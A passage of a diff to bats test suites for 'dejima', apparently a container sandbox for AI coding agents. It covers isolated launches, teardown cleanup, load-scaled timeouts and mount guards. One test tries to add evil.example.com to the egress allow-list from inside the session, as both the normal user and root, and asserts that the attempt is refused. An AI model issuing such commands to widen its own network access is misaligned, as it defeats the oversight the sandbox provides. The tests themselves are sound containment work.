@test "the launcher builds and runs the global layer when only global deps are approved" {
|
||||
"$REPO_ROOT/bin/dejima-dep" add --global apt:libpq-dev >/dev/null
|
||||
launch_setup
|
||||
@@ -1383,6 +1957,37 @@ ENTRYPOINT [\"/usr/local/bin/entrypoint.sh\"]" ]]
|
||||
[[ "$output" == *"approve its own domains and dependencies"* ]]
|
||||
}
|
||||
|
||||
@test "the launcher warns about the epitaph and share stores inside the workspace too" {
|
||||
# Three stores were warned about and six were guarded, so a path dejima
|
||||
# refuses to mount through [mounts] or --ro was mounted without a word
|
||||
# when it happened to sit inside the project. Each consequence differs,
|
||||
# which is why each store says its own.
|
||||
launch_setup
|
||||
local conf; conf="$(bash -c 'source "$1"; config_path' _ "$LIB")"
|
||||
printf '[epitaph]\ndir = %s\n[core]\nshare_dir = %s\n' \
|
||||
"$PROJ/.epitaphs" "$PROJ/.share" >> "$conf"
|
||||
|
||||
run launch "$PROJ"
|
||||
[ "$status" -eq 0 ] || { echo "$output"; return 1; }
|
||||
[[ "$output" == *"the epitaph store"* ]] \
|
||||
|| { echo "no warning for the epitaph store: $output"; return 1; }
|
||||
[[ "$output" == *"what every previous one in this project concluded"* ]] \
|
||||
|| { echo "the epitaph warning does not name its own consequence"; return 1; }
|
||||
[[ "$output" == *"share directories of every project"* ]] \
|
||||
|| { echo "no warning for the per-project share root"; return 1; }
|
||||
[[ "$output" == *"share directories of every isolated session"* ]] \
|
||||
|| { echo "no warning for the isolated share root"; return 1; }
|
||||
|
||||
# And none of them for a project that contains none of these, so the
|
||||
# three above are about the overlap rather than printed always.
|
||||
local other; other="$(mktemp -d)"
|
||||
run launch "$other"
|
||||
[ "$status" -eq 0 ] || { echo "$output"; return 1; }
|
||||
[[ "$output" != *"writable from inside the sandbox"* ]] \
|
||||
|| { echo "a clean project was warned about: $output"; return 1; }
|
||||
rm -rf "$other"
|
||||
}
|
||||
|
||||
@test "the launcher warns when the audit report or baseline store sits inside the mounted workspace" {
|
||||
launch_setup
|
||||
run launch "$PROJ"
|
||||
|
||||
+45
-1
@@ -33,15 +33,59 @@ setup() {
|
||||
export XDG_RUNTIME_DIR="$RUNTIME_DIR"
|
||||
}
|
||||
teardown() {
|
||||
# An attach client this test backgrounded. `kill` only sends the signal, and
|
||||
# the client - plus the script(1) and tmux processes under it - takes a
|
||||
# moment to go. Removing its directories in that window is what produced
|
||||
# "rm: cannot remove ...: Directory not empty": rm lists a directory,
|
||||
# deletes what it saw, and the still-dying client creates something else
|
||||
# before the rmdir. So the wait is for the process to be gone, not a sleep.
|
||||
if [ -n "${attach_pid:-}" ]; then
|
||||
kill "$attach_pid" 2>/dev/null || true
|
||||
_await_gone kill -0 "$attach_pid"
|
||||
fi
|
||||
# Only ever the private server start_tmux created (its own TMUX_TMPDIR),
|
||||
# never the operator's.
|
||||
if [ -n "${TMUX_DIR:-}" ]; then
|
||||
TMUX_TMPDIR="$TMUX_DIR" tmux kill-server 2>/dev/null || true
|
||||
# kill-server returns once the server has been told, and the server
|
||||
# unlinks its socket on its own schedule.
|
||||
_await_gone env TMUX_TMPDIR="$TMUX_DIR" tmux has-session
|
||||
fi
|
||||
rm -rf "$CONFIG_DIR" "$RUNTIME_DIR" ${STUB_DIR:+"$STUB_DIR"} ${LAUNCH_DIR:+"$LAUNCH_DIR"} \
|
||||
_rm_settled "$CONFIG_DIR" "$RUNTIME_DIR" ${STUB_DIR:+"$STUB_DIR"} ${LAUNCH_DIR:+"$LAUNCH_DIR"} \
|
||||
${TMUX_DIR:+"$TMUX_DIR"} ${FAKE_HOME:+"$FAKE_HOME"}
|
||||
}
|
||||
|
||||
# Waits until the given command FAILS, which is how each of the things above
|
||||
# reports that it is gone. Bounded, and silent on expiry: teardown's job is to
|
||||
# clean up, and a cleanup that fails a passing test is the bug being fixed.
|
||||
_await_gone() {
|
||||
local i
|
||||
for i in $(seq 1 50); do
|
||||
"$@" >/dev/null 2>&1 || return 0
|
||||
sleep 0.1
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
# rm -rf, retried. The waits above remove the cause; this is the backstop for
|
||||
# anything else that writes into a temp directory as it exits, and it reports
|
||||
# what is left rather than failing the test - a leaked temp directory costs
|
||||
# disk, and a red check on a passing test costs a re-run and some trust in the
|
||||
# suite.
|
||||
_rm_settled() {
|
||||
local d i
|
||||
for d in "$@"; do
|
||||
[ -n "$d" ] || continue
|
||||
for i in 1 2 3 4 5; do
|
||||
rm -rf "$d" 2>/dev/null
|
||||
[ -e "$d" ] || break
|
||||
sleep 0.2
|
||||
done
|
||||
[ ! -e "$d" ] \
|
||||
|| echo "teardown: $d survived removal, holding: $(ls -A "$d" 2>/dev/null | tr '\n' ' ')" >&3
|
||||
done
|
||||
}
|
||||
|
||||
lib() { bash -c 'source "$1"; shift; "$@"' _ "$LIB" "$@"; }
|
||||
|
||||
# Writes a [remote-access] config with enabled = on and base_url set (so
|
||||
|
||||
+10
-1
@@ -60,7 +60,7 @@ suites_for() {
|
||||
bin/dejima-share) echo 'share static' ;;
|
||||
# The slug scheme keys the transcript mounts, the epitaph and audit
|
||||
# stores, and the share layout, so a change to it is not one area's.
|
||||
bin/dejima-slug-lib.sh) echo 'share conversation audit static' ;;
|
||||
bin/dejima-slug-lib.sh) echo 'share conversation audit project static' ;;
|
||||
bin/dejima-credential-proxy|docker/credential-proxy-forwarder.js) echo 'proxy static' ;;
|
||||
bin/dejima-credential-scan*) echo 'config static' ;;
|
||||
bin/dejima-project-lib.sh|bin/dejima-project|bin/dejima-dep) \
|
||||
@@ -247,6 +247,15 @@ fi
|
||||
bats_flags=()
|
||||
[ "$jobs" -gt 1 ] && bats_flags=(--jobs "$jobs" --no-parallelize-across-files)
|
||||
|
||||
# What this run asks the machine for, for the fixtures that wait on a bounded
|
||||
# deadline. They multiply their bounds by how oversubscribed that makes it
|
||||
# rather than carrying a number picked to survive the gate, which is a number
|
||||
# that is then far too generous anywhere else (#295, test/fixtures/loadscale.py).
|
||||
#
|
||||
# Exported rather than passed, because it has to reach a python fixture several
|
||||
# processes below bats.
|
||||
export DEJIMA_TEST_CONCURRENCY=$(( ${#selected[@]} * jobs ))
|
||||
|
||||
{
|
||||
if [ "$lane" = changed ]; then
|
||||
printf 'lane: CHANGED - %d of %d confined suites, from %d changed path(s)\n' \
|
||||
|
||||
@@ -476,6 +476,11 @@ teardown() {
|
||||
--format '{{.Names}}' 2>/dev/null)
|
||||
docker images -q "localhost/dejima-test-*:$suffix" 2>/dev/null \
|
||||
| xargs -r docker rmi -f >/dev/null 2>&1 || true
|
||||
# Volumes too, for the same reason and in the same namespace: a test that
|
||||
# makes one removes it itself, and this is what covers the run that was
|
||||
# interrupted between the two.
|
||||
docker volume ls -q --filter "name=^dejima-test-.*$suffix\$" 2>/dev/null \
|
||||
| xargs -r docker volume rm >/dev/null 2>&1 || true
|
||||
}
|
||||
|
||||
# The capability list bin/dejima gives the filter container, read out of the
|
||||
@@ -1479,11 +1484,37 @@ session_pid() { # [container], defaulting to the file-wide one
|
||||
# running session, and it is the operator's to run from the host. From
|
||||
# inside the session it must do nothing - it is the same binary in the same
|
||||
# image, and only the container it runs in differs.
|
||||
# What the policy would have CHANGED is re-read after each refusal, not
|
||||
# just the exit status checked: an amendment that landed and then failed on
|
||||
# something later would exit non-zero with the destination permitted, which
|
||||
# is the outcome this test is named for and the one a status cannot see.
|
||||
#
|
||||
# The entries file and the resolver configuration, because a permit for a
|
||||
# NAME writes both - the address sets only ever hold addresses, so grepping
|
||||
# those for a hostname is a check that cannot fail.
|
||||
local before_entries before_conf after_entries after_conf
|
||||
before_entries="$(dexec_filter cat /run/egress-policy/entries)"
|
||||
before_conf="$(dexec_filter cat /run/egress-policy/resolver.conf)"
|
||||
[ -n "$before_entries" ] && [ -n "$before_conf" ] \
|
||||
|| { echo "could not read the policy's own record of what is permitted"; return 1; }
|
||||
|
||||
run dexec_node /usr/local/sbin/egress-policy permit evil.example.com
|
||||
[ "$status" -ne 0 ]
|
||||
run docker exec -u root "$(container_name)" /usr/local/sbin/egress-policy permit evil.example.com
|
||||
[ "$status" -ne 0 ] \
|
||||
|| { echo "root in the session container amended the permitted set"; return 1; }
|
||||
|
||||
after_entries="$(dexec_filter cat /run/egress-policy/entries)"
|
||||
after_conf="$(dexec_filter cat /run/egress-policy/resolver.conf)"
|
||||
[ "$after_entries" = "$before_entries" ] \
|
||||
|| { echo "the entries file changed despite both refusals"; return 1; }
|
||||
[ "$after_conf" = "$before_conf" ] \
|
||||
|| { echo "the resolver configuration changed despite both refusals"; return 1; }
|
||||
# Named directly as well, so this does not rest on two snapshots matching:
|
||||
# an entry already present before the test would make them match anyway.
|
||||
grep -q evil.example <<< "$after_entries$after_conf" \
|
||||
&& { echo "evil.example.com reached the policy's record of what is permitted"; return 1; }
|
||||
return 0
|
||||
}
|
||||
|
||||
@test "node has no working sudo" {
|
||||
@@ -2670,6 +2701,47 @@ EOF
|
||||
[[ "$output" != *"remote access is enabled"* ]]
|
||||
}
|
||||
|
||||
@test "an isolated launch's working directory is a volume the session user owns" {
|
||||
# The one thing about --isolated that a confined test cannot decide: that
|
||||
# the directory the launcher points a session at is usable. A volume at a
|
||||
# path the image created is seeded from it, ownership included, and if
|
||||
# that did not hold the session would start in a directory root owns and
|
||||
# fail on its first write.
|
||||
#
|
||||
# The volume is named for the run by bin/dejima and removed in its exit
|
||||
# trap, both of which the confined suite checks against the launcher. So
|
||||
# this does not re-check the reaping, and deliberately does not count the
|
||||
# host's volumes before and after: another job on a shared runner creating
|
||||
# one between the two reads would fail a test about something else
|
||||
# entirely.
|
||||
local vol="dejima-test-work-$(basename "$BATS_RUN_TMPDIR")"
|
||||
docker volume create "$vol" >/dev/null
|
||||
|
||||
run docker run --rm -v "$vol:/dejima/work" --entrypoint sh "$SESSION_IMAGE" -c \
|
||||
'cd /dejima/work && touch marker && stat -c "%U" /dejima/work'
|
||||
if [ "$status" -ne 0 ] || [ "$output" != node ]; then
|
||||
docker volume rm "$vol" >/dev/null 2>&1 || true
|
||||
echo "the working directory is not writable by the session user: $output"
|
||||
return 1
|
||||
fi
|
||||
|
||||
# And nothing of the host is behind it, which is the claim the mode rests
|
||||
# on: a second volume at the same path starts empty rather than carrying
|
||||
# what the first container wrote.
|
||||
# Purpose before the suffix, like test_container_name: teardown's filter
|
||||
# is anchored on the suffix, so a name ending in anything else is one it
|
||||
# cannot sweep if this is interrupted between create and remove.
|
||||
local other="dejima-test-work2-$(basename "$BATS_RUN_TMPDIR")"
|
||||
docker volume create "$other" >/dev/null
|
||||
run docker run --rm -v "$other:/dejima/work" --entrypoint sh "$SESSION_IMAGE" -c \
|
||||
'ls -A /dejima/work'
|
||||
local rc="$status" out="$output"
|
||||
docker volume rm "$vol" "$other" >/dev/null 2>&1 || true
|
||||
[ "$rc" -eq 0 ] || { echo "$out"; return 1; }
|
||||
[ -z "$out" ] \
|
||||
|| { echo "a second session's working directory was not empty: $out"; return 1; }
|
||||
}
|
||||
|
||||
@test "the git shadow loads its policy in the image, and leaves other git commands alone" {
|
||||
# The decision lives in a file the Dockerfile copies in
|
||||
# (docker/guard-lib.sh), and every git command in a session goes through
|
||||
|
||||
@@ -150,6 +150,42 @@ mounted_share() { sort -u "$SHARE_LOG" | grep -v '^$' | head -1; }
|
||||
|| { echo "a clean share_dir warned about its own projects dir: $output"; return 1; }
|
||||
}
|
||||
|
||||
@test "an isolated launch's share is its own, and the root is not reported as loose" {
|
||||
write_config
|
||||
# launch() takes a workspace, which --isolated refuses - so this one
|
||||
# drives the launcher directly with the same stub.
|
||||
STUB_DIR="$(mktemp -d)"
|
||||
cat > "$STUB_DIR/docker" <<'EOF'
|
||||
#!/bin/sh
|
||||
printf '%s\n' "${SANDBOX_SHARE_DIR-}" >> "$SANDBOX_TEST_SHARE_LOG"
|
||||
exit 0
|
||||
EOF
|
||||
chmod +x "$STUB_DIR/docker"
|
||||
SHARE_LOG="$HOST/share-log"
|
||||
: > "$SHARE_LOG"
|
||||
HOME="$HOST/home" PATH="$STUB_DIR:$PATH" SSH_AUTH_SOCK= \
|
||||
SANDBOX_TEST_SHARE_LOG="$SHARE_LOG" \
|
||||
run "$REPO_ROOT/bin/dejima" --isolated
|
||||
[ "$status" -eq 0 ] || { echo "$output"; return 1; }
|
||||
|
||||
case "$(mounted_share)" in
|
||||
"$SHARE"/isolated/*) ;;
|
||||
*) echo "mounted '$(mounted_share)', not a directory under the isolated root"
|
||||
return 1 ;;
|
||||
esac
|
||||
# Not asserted to still exist: an isolated share that was never written
|
||||
# to is removed in the exit trap, so a stub that runs no session leaves
|
||||
# none. That it was created and mounted is project.bats' test, which has
|
||||
# a stub that writes into it.
|
||||
[ ! -d "$(mounted_share)" ] \
|
||||
|| { echo "an empty isolated share was left behind"; return 1; }
|
||||
# The root holding them is dejima's, like projects/ - so a launch must
|
||||
# not go on telling the operator about it every time as something that
|
||||
# was left behind by hand.
|
||||
[[ "$output" != *"no session can see"* ]] \
|
||||
|| { echo "the isolated root was reported as left behind: $output"; return 1; }
|
||||
}
|
||||
|
||||
@test "dejima-share list names each project and flags what is loose" {
|
||||
write_config
|
||||
share path "$WS" > /dev/null
|
||||
|
||||
+722
-25
@@ -1649,7 +1649,13 @@ _cline_cfg() {
|
||||
|
||||
# $1 is the config dir, $2 the workspace. Prints whatever the plugin said and
|
||||
# returns its status.
|
||||
#
|
||||
# The staging directory is $1/stage, because that is the second argument core
|
||||
# passes and because it is where the plugin writes this launch's provider
|
||||
# configuration now - it used to write into the state directory, which an
|
||||
# isolated launch does not mount. The tests below read it out of there.
|
||||
_cline_prepare() {
|
||||
mkdir -p "$1/stage"
|
||||
DEJIMA_CONFIG_DIR="$1" bash -c '
|
||||
source "$2/bin/dejima-provider-lib.sh"
|
||||
source "$2/bin/dejima-project-lib.sh"
|
||||
@@ -1657,7 +1663,7 @@ _cline_prepare() {
|
||||
source "$2/bin/dejima-slug-lib.sh"
|
||||
harness_plugin_load cline
|
||||
WORKSPACE_DIR="$1"
|
||||
harness_prepare_config /dev/null' _ "$2" "$REPO_ROOT"
|
||||
harness_prepare_config /dev/null "$3"' _ "$2" "$REPO_ROOT" "$1/stage"
|
||||
}
|
||||
|
||||
@test "cline refuses to launch with no model configured" {
|
||||
@@ -1695,7 +1701,7 @@ _cline_prepare() {
|
||||
# workspace slug, and spelling that out here would be a second copy of
|
||||
# ws_slug that could agree with nothing.
|
||||
local written
|
||||
written="$(find "$d/state" -name providers.json -print -quit)"
|
||||
written="$(find "$d/stage" -name providers.json -print -quit)"
|
||||
[ -n "$written" ] || { echo "no providers.json written for $id"; return 1; }
|
||||
local wrote
|
||||
wrote="$(jq -r '.providers."openai-compatible".settings.model' "$written")"
|
||||
@@ -1819,7 +1825,7 @@ _cline_prepare() {
|
||||
run _cline_prepare "$cfg" "$ws"
|
||||
[ "$status" -eq 0 ] || { echo "$output"; return 1; }
|
||||
local f
|
||||
f="$(find "$cfg/state" -name providers.json | head -1)"
|
||||
f="$(find "$cfg/stage" -name providers.json | head -1)"
|
||||
[ -n "$f" ] || { echo "no providers.json was written"; return 1; }
|
||||
run jq -r '.providers.anthropic.settings.apiKey' "$f"
|
||||
[[ "$output" == *placeholder* ]] || { echo "the key is not a placeholder: $output"; return 1; }
|
||||
@@ -1843,7 +1849,7 @@ _cline_prepare() {
|
||||
ws="$BATS_TEST_TMPDIR/ws-ts"
|
||||
run _cline_prepare "$cfg" "$ws"
|
||||
[ "$status" -eq 0 ] || { echo "$output"; return 1; }
|
||||
f="$(find "$cfg/state" -name providers.json | head -1)"
|
||||
f="$(find "$cfg/stage" -name providers.json | head -1)"
|
||||
[ -n "$f" ] || { echo "no providers.json"; return 1; }
|
||||
run jq -r '.providers.anthropic.updatedAt // "missing"' "$f"
|
||||
[ "$output" != "missing" ] || { echo "no updatedAt: cline will discard this"; return 1; }
|
||||
@@ -1859,7 +1865,7 @@ _cline_prepare() {
|
||||
ws="$BATS_TEST_TMPDIR/ws-ts2"
|
||||
run _cline_prepare "$cfg" "$ws"
|
||||
[ "$status" -eq 0 ] || { echo "$output"; return 1; }
|
||||
f="$(find "$cfg/state" -name providers.json | head -1)"
|
||||
f="$(find "$cfg/stage" -name providers.json | head -1)"
|
||||
run jq -r '.providers."openai-compatible".updatedAt // "missing"' "$f"
|
||||
[ "$output" != "missing" ] || { echo "no updatedAt on the local branch"; return 1; }
|
||||
}
|
||||
@@ -1877,13 +1883,13 @@ _cline_prepare() {
|
||||
cfg="$(_cline_cfg 'model = m' 'backend = anthropic' 'context_window = 15000')"
|
||||
run _cline_prepare "$cfg" "$BATS_TEST_TMPDIR/ws-cw"
|
||||
[ "$status" -eq 0 ] || { echo "$output"; return 1; }
|
||||
f="$(find "$cfg/state" -name providers.json | head -1)"
|
||||
f="$(find "$cfg/stage" -name providers.json | head -1)"
|
||||
run jq -r '.providers.anthropic.settings.contextWindow' "$f"
|
||||
[ "$output" = "15000" ] || { echo "not written as a number: $output"; return 1; }
|
||||
|
||||
cfg="$(_cline_cfg 'model = m' 'backend = anthropic')"
|
||||
run _cline_prepare "$cfg" "$BATS_TEST_TMPDIR/ws-cw2"
|
||||
f="$(find "$cfg/state" -name providers.json | head -1)"
|
||||
f="$(find "$cfg/stage" -name providers.json | head -1)"
|
||||
run jq -r '.providers.anthropic.settings.contextWindow // "absent"' "$f"
|
||||
[ "$output" = "absent" ] || { echo "invented a context window: $output"; return 1; }
|
||||
}
|
||||
@@ -2236,6 +2242,70 @@ _reference_has_key() { # <doc> <section> <leaf>
|
||||
done
|
||||
}
|
||||
|
||||
@test "a bounded wait is lengthened by what the run asked the machine for" {
|
||||
# The suites wait on things that take as long as the machine makes them
|
||||
# take, and each wait has a deadline. One that is right on an idle box is
|
||||
# wrong under the gate, and raising it until both pass means picking a
|
||||
# number that is wrong in one of them - which is how a fixture's idle bound
|
||||
# went from sixty seconds to two hundred and forty (#295).
|
||||
local ls="$REPO_ROOT/test/fixtures/loadscale.py"
|
||||
[ -f "$ls" ] || { echo "the shared scale is gone"; return 1; }
|
||||
|
||||
# Both runners say what they asked for, or the multiplier is always 1 and
|
||||
# this does nothing. Derived on each side from the concurrency it chose,
|
||||
# not a constant either of them picked.
|
||||
grep -qF 'export DEJIMA_TEST_CONCURRENCY=$(( ${#selected[@]} * jobs ))' \
|
||||
"$REPO_ROOT/test/run-confined.sh" \
|
||||
|| { echo "the gate does not say how much concurrency it asked for"; return 1; }
|
||||
grep -qF 'DEJIMA_TEST_CONCURRENCY=$(nproc) bats --jobs' \
|
||||
"$REPO_ROOT/.gitea/workflows/tests.yml" \
|
||||
|| { echo "the CI job does not say how much concurrency it asked for"; return 1; }
|
||||
|
||||
# And every fixture that waits on one uses it, rather than carrying a bound
|
||||
# chosen to survive the gate.
|
||||
# The import, not the word: both files mention loadscale in a comment
|
||||
# explaining why their bounds are what they are, so a grep for the name
|
||||
# passes on a file that stopped using it.
|
||||
local f
|
||||
for f in tty-suspend-harness.py answer-prompt.py; do
|
||||
grep -qE '^(import loadscale|from loadscale import)' "$REPO_ROOT/test/fixtures/$f" \
|
||||
|| { echo "$f has bounded waits that do not scale with the run"; return 1; }
|
||||
done
|
||||
|
||||
# Driven, because the shape is easy to get right and the arithmetic is what
|
||||
# matters. Never below 1, so an idle run and one with nothing set behave
|
||||
# exactly as they do today; capped, because a wrong value here turns a test
|
||||
# that should fail in seconds into one that hangs for the whole job.
|
||||
local cores; cores="$(nproc)"
|
||||
run env -u DEJIMA_TEST_CONCURRENCY python3 -c "
|
||||
import sys; sys.path.insert(0, '$REPO_ROOT/test/fixtures')
|
||||
import loadscale; print(loadscale.deadline(10.0))"
|
||||
[ "$status" -eq 0 ] && [ "$output" = "10.0" ] \
|
||||
|| { echo "an unset variable changed a deadline: $output"; return 1; }
|
||||
|
||||
run env DEJIMA_TEST_CONCURRENCY=$(( cores * 2 )) python3 -c "
|
||||
import sys; sys.path.insert(0, '$REPO_ROOT/test/fixtures')
|
||||
import loadscale; print(loadscale.deadline(10.0))"
|
||||
[ "$output" = "20.0" ] \
|
||||
|| { echo "twice the cores did not double a deadline: $output"; return 1; }
|
||||
|
||||
run env DEJIMA_TEST_CONCURRENCY=$(( cores / 2 )) python3 -c "
|
||||
import sys; sys.path.insert(0, '$REPO_ROOT/test/fixtures')
|
||||
import loadscale; print(loadscale.deadline(10.0))"
|
||||
[ "$output" = "10.0" ] \
|
||||
|| { echo "an under-subscribed run shortened a deadline: $output"; return 1; }
|
||||
|
||||
local junk
|
||||
for junk in 99999999 -5 "" notanumber; do
|
||||
run env DEJIMA_TEST_CONCURRENCY="$junk" python3 -c "
|
||||
import sys; sys.path.insert(0, '$REPO_ROOT/test/fixtures')
|
||||
import loadscale; print(loadscale.scale())"
|
||||
[ "$status" -eq 0 ] || { echo "'$junk' made the scale raise: $output"; return 1; }
|
||||
awk -v s="$output" 'BEGIN { exit !(s >= 1.0 && s <= 4.0) }' \
|
||||
|| { echo "'$junk' produced a scale of $output"; return 1; }
|
||||
done
|
||||
}
|
||||
|
||||
@test "a changed path selects every suite that reads it, not just the one that owns it" {
|
||||
# .dejima.md says nothing can tell that a rule is too narrow. A human
|
||||
# cannot; this can. For each mapped path, every suite whose text names its
|
||||
@@ -3004,6 +3074,296 @@ _classify() { # <value> -> prints addr|name, or exits non-zero on a refusal
|
||||
grep -q '.worktrees/' "$REPO_ROOT/bin/dejima-provider-lib.sh"
|
||||
}
|
||||
|
||||
# A briefing is the one thing a session cannot check for itself, so the four
|
||||
# sentences an isolated launch makes false are worth a test each rather than a
|
||||
# count. A session that believes its transcript outlives the container leaves
|
||||
# work for a resume that cannot happen; one that believes ~/shared is shared
|
||||
# with every session against this project treats a handoff as readable by
|
||||
# people who will never see it.
|
||||
@test "the isolated briefing does not claim a mount, a memory or a resume" {
|
||||
local iso ord
|
||||
ord="$(lib briefing_compose gitea worktree-pr claude-code)" || { echo "$ord"; return 1; }
|
||||
iso="$(DEJIMA_ISOLATED=1 bash -c \
|
||||
'source "$1"; briefing_compose gitea worktree-pr claude-code' _ \
|
||||
"$REPO_ROOT/bin/dejima-provider-lib.sh" 2>&1)" || { echo "$iso"; return 1; }
|
||||
|
||||
# Each claim is asserted absent from the isolated briefing AND present in
|
||||
# the ordinary one. Either half alone passes on prose that was reworded
|
||||
# out of both.
|
||||
local claim
|
||||
for claim in \
|
||||
'bind-mounted read-write and is the real' \
|
||||
'every session against this project shares it' \
|
||||
"this session's transcript outlives the container" \
|
||||
'The project directory is mounted whole' \
|
||||
'The worktree MUST live under the mounted project'
|
||||
do
|
||||
grep -qF "$claim" <<< "$ord" \
|
||||
|| { echo "the ordinary briefing no longer says: $claim"; return 1; }
|
||||
grep -qF "$claim" <<< "$iso" \
|
||||
&& { echo "the isolated briefing still says: $claim"; return 1; }
|
||||
done
|
||||
|
||||
# And what it says instead, because dropping the sentences without
|
||||
# replacing them leaves a session to assume the usual arrangement.
|
||||
for claim in \
|
||||
'Nothing of the user'"'"'s machine is mounted here' \
|
||||
'made fresh for this session' \
|
||||
'This session cannot be resumed' \
|
||||
'There is no project directory'
|
||||
do
|
||||
grep -qF "$claim" <<< "$iso" \
|
||||
|| { echo "the isolated briefing does not say: $claim"; return 1; }
|
||||
done
|
||||
|
||||
# The harness fragment is what promises the resume, and it is replaced
|
||||
# rather than dropped - so the resume command must not survive either.
|
||||
grep -qF 'claude --resume' <<< "$ord" \
|
||||
|| { echo "the ordinary briefing no longer carries the resume command"; return 1; }
|
||||
grep -qF 'claude --resume' <<< "$iso" \
|
||||
&& { echo "the isolated briefing offers a resume that cannot work"; return 1; }
|
||||
return 0
|
||||
}
|
||||
|
||||
@test "the mode a briefing is composed for cannot be set from the environment alone" {
|
||||
# DEJIMA_ISOLATED reaching the composer from the environment is how the
|
||||
# test above drives it, which is exactly why bin/dejima must bind it
|
||||
# before anything reads it: an inherited value would otherwise decide
|
||||
# what a session is told about a launch that is not isolated at all.
|
||||
grep -q '^DEJIMA_ISOLATED=0$' "$REPO_ROOT/bin/dejima" \
|
||||
|| { echo "bin/dejima does not bind DEJIMA_ISOLATED before use"; return 1; }
|
||||
# And the flag is the only thing that turns it on, which is the whole of
|
||||
# "a CLI flag and nothing else".
|
||||
local sets
|
||||
sets="$(grep -c 'DEJIMA_ISOLATED=1' "$REPO_ROOT/bin/dejima")"
|
||||
[ "$sets" = 1 ] \
|
||||
|| { echo "bin/dejima sets DEJIMA_ISOLATED=1 in $sets places, not just the flag"; return 1; }
|
||||
grep -q -- '--isolated) DEJIMA_ISOLATED=1; shift ;;' "$REPO_ROOT/bin/dejima" \
|
||||
|| { echo "the flag is not what sets it"; return 1; }
|
||||
}
|
||||
|
||||
@test "the host-side features that read a transcript are not started for an isolated launch" {
|
||||
# Three things key on a workspace that an isolated launch has no host
|
||||
# side of: the epitaph, the conversation shipper and the audit. Each
|
||||
# would otherwise do its work against /dejima/work - a path that is not
|
||||
# on the host at all - and report nothing, which is the shape of a
|
||||
# feature that looks present and is not.
|
||||
#
|
||||
# Two of the three are off because the flag overrides their config key,
|
||||
# which is what makes the banner and --print-config agree with what
|
||||
# actually happens - they said "epitaph on" while nothing was kept. So
|
||||
# what is asserted here differs by feature: the overrides for those two,
|
||||
# and the mode check for the audit, which has no key to override.
|
||||
local src="$REPO_ROOT/bin/dejima" flat key call
|
||||
# Continuations flattened, so a guard split across lines still reads as
|
||||
# one condition.
|
||||
flat="$(sed -z 's/\\\n[[:space:]]*/ /g' "$src")"
|
||||
|
||||
for key in epitaph.enabled logging.conversation; do
|
||||
grep -qF "_set_override $key off" <<< "$flat" \
|
||||
|| { echo "an isolated launch does not turn $key off"; return 1; }
|
||||
done
|
||||
# Under the flag and nowhere else: an unconditional override would turn
|
||||
# the feature off for every launch.
|
||||
awk '
|
||||
/^if \[ "\$DEJIMA_ISOLATED" = 1 \]; then/ { inblock = 1; next }
|
||||
inblock && /^fi/ { inblock = 0 }
|
||||
inblock && /_set_override (epitaph\.enabled|logging\.conversation) off/ { n++ }
|
||||
END { exit !(n == 2) }
|
||||
' <<< "$flat" \
|
||||
|| { echo "the two overrides are not both inside the isolated block"; return 1; }
|
||||
# And each feature still reads the key, so the override is what decides.
|
||||
grep -qF 'config_get_bool epitaph enabled' <<< "$flat" \
|
||||
|| { echo "the epitaph no longer reads its own key"; return 1; }
|
||||
grep -qF 'config_get_bool logging conversation' <<< "$flat" \
|
||||
|| { echo "the shipper no longer reads its own key"; return 1; }
|
||||
|
||||
# The audit has no config key to override, so it is gated on the mode.
|
||||
for call in 'dejima-audit" snapshot' 'dejima-audit" compare'; do
|
||||
grep -qF "$call" <<< "$flat" \
|
||||
|| { echo "bin/dejima no longer calls: $call"; return 1; }
|
||||
awk -v call="$call" '
|
||||
index($0, "DEJIMA_ISOLATED") { guard = NR }
|
||||
index($0, call) { if (guard && NR - guard <= 8) found = 1 }
|
||||
END { exit !found }
|
||||
' <<< "$flat" \
|
||||
|| { echo "no DEJIMA_ISOLATED guard precedes: $call"; return 1; }
|
||||
done
|
||||
return 0
|
||||
}
|
||||
|
||||
@test "a seed staged after the mount guard is still refused over a writable mount" {
|
||||
# The seed list is loaded twice: once with the other list loads, where the
|
||||
# mount guard runs, and once after harness_prepare_config, because a hook
|
||||
# whose job is to make a file has to run before the list that mounts it.
|
||||
#
|
||||
# The second pass could have rested on an argument - what a plugin adds
|
||||
# there is a path dejima made this run - and that is true of the one
|
||||
# plugin that does it today and not a property of the mechanism. So the
|
||||
# rule is applied again, and this is the refusal being driven: nothing in
|
||||
# the tree exercises it, because no shipped plugin derives a seed from
|
||||
# state the hook changed.
|
||||
# Wired in, first: the behaviour below is driven against the function, so
|
||||
# nothing there would notice the call being deleted. It runs immediately
|
||||
# after the second load and before anything is mounted.
|
||||
local flat
|
||||
flat="$(sed -z 's/\\\n[[:space:]]*/ /g' "$REPO_ROOT/bin/dejima")"
|
||||
# awk rather than a two-line grep pattern: `grep -F` reads one of those
|
||||
# as two alternatives and matches either line, so the check passed with
|
||||
# the call deleted. What has to hold is the adjacency.
|
||||
awk '
|
||||
prev == "harness_seed_load" && $0 == "_refuse_rw_over_harness_host_config" { found = 1 }
|
||||
{ prev = $0 }
|
||||
END { exit !found }
|
||||
' <<< "$flat" \
|
||||
|| { echo "no seed load is followed by the guard"; return 1; }
|
||||
|
||||
local out
|
||||
run bash -c '
|
||||
set -Eeuo pipefail
|
||||
src="'"$SANDBOX_DIR"'/../bin"
|
||||
eval "$(sed -n "/^_paths_overlap()/,/^}/p" "$src/dejima-harness-lib.sh")"
|
||||
eval "$(sed -n "/^_refuse_rw_over_harness_host_config()/,/^}/p" "$src/dejima")"
|
||||
# Stubbed, because what is under test is the refusal rather than how
|
||||
# the list is assembled - which has its own tests further up.
|
||||
# Captured first, under a name the function does not declare local:
|
||||
# inside it, $2 is the function'"'"'s own argument, and `guarded` is one
|
||||
# of its locals - which under set -u is unset rather than ours.
|
||||
t_guarded="$2"
|
||||
_harness_host_config() { HARNESS_HOST_CONFIG+=("$t_guarded"); }
|
||||
RW_MOUNT_PATHS=("$1")
|
||||
_refuse_rw_over_harness_host_config
|
||||
echo ALLOWED' _ /tmp/dejima-t-rw /tmp/dejima-t-rw/inside/config.json
|
||||
[ "$status" -ne 0 ] \
|
||||
|| { echo "a writable mount over a staged seed was allowed: $output"; return 1; }
|
||||
[[ "$output" == *"Refusing writable mount"* ]] \
|
||||
|| { echo "the refusal does not say what it refused: $output"; return 1; }
|
||||
[[ "$output" == *"once its per-run configuration"* ]] \
|
||||
|| { echo "the refusal does not say why it is late: $output"; return 1; }
|
||||
|
||||
# And a path that does not overlap is left alone, so the refusal is about
|
||||
# the overlap rather than about there being any seed at all.
|
||||
run bash -c '
